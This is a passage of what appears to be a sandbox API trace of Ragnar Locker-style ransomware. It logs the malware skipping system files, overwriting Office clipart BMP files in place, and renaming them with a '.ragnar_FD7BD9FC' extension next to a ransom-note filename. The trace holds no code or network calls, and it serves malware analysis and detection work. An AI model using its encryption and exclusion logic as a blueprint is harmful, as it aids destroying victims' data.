lpString2="bootmgfw.efi") returned 1 [0083.432] lstrcmpiW (lpString1="J0101858.BMP", lpString2="desktop.ini") returned 1 [0083.432] lstrcmpiW (lpString1="J0101858.BMP", lpString2="iconcache.db") returned 1 [0083.432] lstrcmpiW (lpString1="J0101858.BMP", lpString2="ntldr") returned -1 [0083.432] lstrcmpiW (lpString1="J0101858.BMP", lpString2="ntuser.dat") returned -1 [0083.432] lstrcmpiW (lpString1="J0101858.BMP", lpString2="ntuser.dat.log") returned -1 [0083.432] lstrcmpiW (lpString1="J0101858.BMP", lpString2="ntuser.ini") returned -1 [0083.432] lstrcmpiW (lpString1="J0101858.BMP", lpString2="thumbs.db") returned -1 [0083.432] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0083.432] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0083.432] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0083.432] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0083.432] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0083.432] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0083.432] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0083.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp")) returned 0x20 [0083.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.433] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0083.433] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.433] GetProcessHeap () returned 0x580000 [0083.433] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.433] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.434] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.434] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.434] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.434] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0083.436] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.436] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.436] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0083.436] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.436] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.437] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.437] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.437] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.437] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.437] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.437] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.437] GetProcessHeap () returned 0x580000 [0083.437] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.437] CloseHandle (hObject=0xf4) returned 1 [0083.437] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" [0083.437] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.ragnar_FD7BD9FC" [0083.437] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.438] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac703800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac703800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101859.BMP", cAlternateFileName="")) returned 1 [0083.438] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.438] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0101859.BMP" | out: lpString1="J0101859.BMP") returned="J0101859.BMP" [0083.438] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned=".BMP" [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="autorun.inf") returned 1 [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="boot.ini") returned 1 [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="bootfont.bin") returned 1 [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="bootsect.bak") returned 1 [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="bootmgr") returned 1 [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="bootmgr.efi") returned 1 [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="bootmgfw.efi") returned 1 [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="desktop.ini") returned 1 [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="iconcache.db") returned 1 [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="ntldr") returned -1 [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="ntuser.dat") returned -1 [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="ntuser.dat.log") returned -1 [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="ntuser.ini") returned -1 [0083.438] lstrcmpiW (lpString1="J0101859.BMP", lpString2="thumbs.db") returned -1 [0083.438] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0083.438] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0083.438] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0083.438] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0083.438] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0083.438] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0083.438] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0083.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp")) returned 0x20 [0083.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.439] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31968) returned 1 [0083.439] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.439] GetProcessHeap () returned 0x580000 [0083.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.439] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.441] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.441] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.441] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.441] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ce0, lpOverlapped=0x0) returned 1 [0083.442] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.442] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.442] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ce0, lpOverlapped=0x0) returned 1 [0083.443] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.443] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.443] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.443] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.443] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.443] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.443] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.443] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.443] GetProcessHeap () returned 0x580000 [0083.443] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.443] CloseHandle (hObject=0xf4) returned 1 [0083.443] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" [0083.443] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.ragnar_FD7BD9FC" [0083.444] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.444] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed29200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaed29200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101860.BMP", cAlternateFileName="")) returned 1 [0083.444] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.444] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0101860.BMP" | out: lpString1="J0101860.BMP") returned="J0101860.BMP" [0083.444] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned=".BMP" [0083.444] lstrcmpiW (lpString1="J0101860.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.444] lstrcmpiW (lpString1="J0101860.BMP", lpString2="autorun.inf") returned 1 [0083.444] lstrcmpiW (lpString1="J0101860.BMP", lpString2="boot.ini") returned 1 [0083.444] lstrcmpiW (lpString1="J0101860.BMP", lpString2="bootfont.bin") returned 1 [0083.444] lstrcmpiW (lpString1="J0101860.BMP", lpString2="bootsect.bak") returned 1 [0083.444] lstrcmpiW (lpString1="J0101860.BMP", lpString2="bootmgr") returned 1 [0083.444] lstrcmpiW (lpString1="J0101860.BMP", lpString2="bootmgr.efi") returned 1 [0083.444] lstrcmpiW (lpString1="J0101860.BMP", lpString2="bootmgfw.efi") returned 1 [0083.444] lstrcmpiW (lpString1="J0101860.BMP", lpString2="desktop.ini") returned 1 [0083.444] lstrcmpiW (lpString1="J0101860.BMP", lpString2="iconcache.db") returned 1 [0083.445] lstrcmpiW (lpString1="J0101860.BMP", lpString2="ntldr") returned -1 [0083.445] lstrcmpiW (lpString1="J0101860.BMP", lpString2="ntuser.dat") returned -1 [0083.445] lstrcmpiW (lpString1="J0101860.BMP", lpString2="ntuser.dat.log") returned -1 [0083.445] lstrcmpiW (lpString1="J0101860.BMP", lpString2="ntuser.ini") returned -1 [0083.445] lstrcmpiW (lpString1="J0101860.BMP", lpString2="thumbs.db") returned -1 [0083.445] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0083.445] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0083.445] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0083.445] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0083.445] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0083.445] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0083.445] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0083.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp")) returned 0x20 [0083.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.445] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0083.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.445] GetProcessHeap () returned 0x580000 [0083.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.445] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.447] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.447] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.447] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.447] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0083.448] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.448] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.448] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0083.449] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.449] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.449] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.449] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.449] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.449] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.449] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.449] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.449] GetProcessHeap () returned 0x580000 [0083.449] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.449] CloseHandle (hObject=0xf4) returned 1 [0083.449] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" [0083.449] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.ragnar_FD7BD9FC" [0083.449] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.450] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2661900, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2661900, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101861.BMP", cAlternateFileName="")) returned 1 [0083.450] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.450] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0101861.BMP" | out: lpString1="J0101861.BMP") returned="J0101861.BMP" [0083.450] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned=".BMP" [0083.450] lstrcmpiW (lpString1="J0101861.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.450] lstrcmpiW (lpString1="J0101861.BMP", lpString2="autorun.inf") returned 1 [0083.450] lstrcmpiW (lpString1="J0101861.BMP", lpString2="boot.ini") returned 1 [0083.450] lstrcmpiW (lpString1="J0101861.BMP", lpString2="bootfont.bin") returned 1 [0083.450] lstrcmpiW (lpString1="J0101861.BMP", lpString2="bootsect.bak") returned 1 [0083.450] lstrcmpiW (lpString1="J0101861.BMP", lpString2="bootmgr") returned 1 [0083.450] lstrcmpiW (lpString1="J0101861.BMP", lpString2="bootmgr.efi") returned 1 [0083.450] lstrcmpiW (lpString1="J0101861.BMP", lpString2="bootmgfw.efi") returned 1 [0083.450] lstrcmpiW (lpString1="J0101861.BMP", lpString2="desktop.ini") returned 1 [0083.450] lstrcmpiW (lpString1="J0101861.BMP", lpString2="iconcache.db") returned 1 [0083.450] lstrcmpiW (lpString1="J0101861.BMP", lpString2="ntldr") returned -1 [0083.450] lstrcmpiW (lpString1="J0101861.BMP", lpString2="ntuser.dat") returned -1 [0083.450] lstrcmpiW (lpString1="J0101861.BMP", lpString2="ntuser.dat.log") returned -1 [0083.451] lstrcmpiW (lpString1="J0101861.BMP", lpString2="ntuser.ini") returned -1 [0083.451] lstrcmpiW (lpString1="J0101861.BMP", lpString2="thumbs.db") returned -1 [0083.451] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0083.451] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0083.451] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0083.451] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0083.451] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0083.451] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 